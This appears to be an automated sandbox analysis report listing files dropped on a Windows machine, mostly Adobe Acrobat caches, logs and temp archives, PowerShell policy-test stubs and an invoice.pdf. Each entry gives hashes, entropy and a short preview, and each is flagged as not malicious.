SHA1:	461ED7D51FDE79FCAEAD95B57805E0486478F6E7
SHA-256:	18CA2DB3DAAD30AB72610C486B95763A4417D5FF9AFDDEE437415E2F3AFA0F48
SHA-512:	D2ADA1BEC25AB8A8B9B678D6D15CCC060F2AC109CF6EE34D6E6F9B65BFC78873ED5A998FEF2615E0DA6B67A2C84216BB00170A91FF421A5AD2B31A3773C1662A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"78e5216bc39d18f0c9f1f8a55c26bdf8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736564281000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"b826facfee79afb86c6e4aaef0754a19","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736564281000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"b5cc0b39a3dc9df7e92ecc7fb66b4c09","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736564281000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"462b4aeddc677d328dde2c4cb020bd91","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736564281000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9f10afa84dd3fad0363eb44e5d4cc463","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736564281000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"802eb89367fb7d78e98d636519fa845a","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9988357046363076
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7ursB1RZKHs/D3UjhCp7juVkH3Da8DaNyvCF:TGufl2GL7msvgO3Ujhg7juiHTTkyvC
MD5:	473689B5BC9C0D0B75C698AFC7F3966C
SHA1:	016487500259F4C3DB2993132B005004636151C8
SHA-256:	D34808A181364796FF7485AD3AEFB6C89AC81550E6444168792F3F37AD4AC67A
SHA-512:	5F70423C8A65B103F2DEA309B79D7FEB4220153CE36CB37BCAABEAB80123F0AADB2C62B27C1CFF89C76FDB409C58C9AF1013F7605B7547FD99D91BAFF62E4422
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3612052452972039
Encrypted:	false
SSDEEP:	24:7+tZ1RZKHs/Ds/SpFCp7juVkH3Da8DaNyvCTqLhx/XYKQvGJF7urspn:7MHgOVpFg7juiHTTkyvqqFl2GL7msp
MD5:	D7360E5730F191E7B4A43A1D002F6C55
SHA1:	56C9DEA0E56E71A1203A6105E40999D27CA0E8B5
SHA-256:	C0BFD9B9FB5E4A492B38ACB254A447D3506C7F680DD061B08FC682D7EA246F64
SHA-512:	CC25E7027883F0F5BFBD3C849AB59AE93246141A5D80DEA4847313C3A35D8EA2C71A0F55C90FDE13EE4461BD9165AD4598225D1C573E232B58F27D72D9362F17
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#...z.>.....}.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEglwlLaGXM61FmqVWjdscJL4yMkYyu:6a6TZ44ADE6lLaGT6soL4yzK
MD5:	8FC34DFA978EC25D3766BFB12EC9672E
SHA1:	1419ABB24CCAFB32E15E18748CDF5481C3663EFD
SHA-256:	E92A30DAB921F615BAA4AC08A66A51F6815AB85A3EAD3608972B85F9D5A18079
SHA-512:	F3FE11AE4849F967CE65A79CD4DE6E41C208D20F6BFC1812CFD2622FF60CCC54FB9F006970B5271B1E80083BAA628929D14A34DC1476EE9079B595B134F6020E
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI7620c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsDwCH:Qw946cPbiOxDlbYnuRK+b9l
MD5:	5E4499260CA937DC85A3762B45B9BFCF
SHA1:	463BC1D596CD4D68442A73BF9BB8667F2D2AB153
SHA-256:	263534E2D80759E88D74479D45788765C85101E5EA72DA5000DA8509582E6AE3
SHA-512:	7B15E3473D51DC4E13DF78168B0BF3922833DF662F81C87CEE9F043C07F0B4B68BC3E611417BF908CD4BAF4C874B5CFBF566AE2E247A1942080EF095333D3763
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.5.8.:.0.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eba0ijbh.icy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s1re3fhu.2lo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9114t05x_1um0fgz_56o.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9nej24m_1um0fh0_56o.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-57-58-065.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.360493082929082
Encrypted:	false
SSDEEP:	384:2xdMNNosqMTTSvXwR64HH83iaB685IMFrgjP1BF9kVsYek9dValArnoZM684/uuV:jIs
MD5:	6F5353660535B36AC8FFB1AA40741FCE
SHA1:	47D76AC8BE00A01BEF0C8B0E5DD3373B2E779975
SHA-256:	A67BF2F861F4684546FF77DAD16DEF1EB965AE05A14B17EC4C68CE772D19F510
SHA-512:	A71E7D8F9892304EA5C4A69522AC0821F88754C562B3AC076411BCF036EEC16C6244770B118D2D5E349FF18B098D5083F2764EADF9BCD829B7597383FBB10AEE
Malicious:	false
Preview:	SessionID=e240bee2-6b68-4777-9fa5-35fd997b5a6f.1736564278086 Timestamp=2025-01-10T21:57:58:086-0500 ThreadID=7716 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e240bee2-6b68-4777-9fa5-35fd997b5a6f.1736564278086 Timestamp=2025-01-10T21:57:58:087-0500 ThreadID=7716 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e240bee2-6b68-4777-9fa5-35fd997b5a6f.1736564278086 Timestamp=2025-01-10T21:57:58:087-0500 ThreadID=7716 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e240bee2-6b68-4777-9fa5-35fd997b5a6f.1736564278086 Timestamp=2025-01-10T21:57:58:087-0500 ThreadID=7716 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e240bee2-6b68-4777-9fa5-35fd997b5a6f.1736564278086 Timestamp=2025-01-10T21:57:58:087-0500 ThreadID=7716 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.40336071572865
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb6:lk
MD5:	7145ACBEA358B7DD1BBE0706C24D4ED8
SHA1:	1B0B455381BAB96D5004A3543BC6A3D97E2DC790
SHA-256:	85E70EB980B83EEA6EADB09979B55A72825DB78E1E2372D45035F2888C5BEB02
SHA-512:	647DEDA0E02C7ABBA8E53CA2EAABB2331A39AEE3C04AFBBCD4D016C1C72990DE40480B53D9FC1FEA1CF5BF533AF18483DF32D3F29ED1ED34896E371E833BF8CB
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\810a0093-59a0-491d-b3c0-5cca1c3326d1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\832eff56-dcfe-4d3c-a68c-53ca74eb5e9e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cebfc9b8-fd81-41c1-a235-a6b095a82bc9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f383ee95-1e3d-41bd-9913-5135a6ef6b1b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
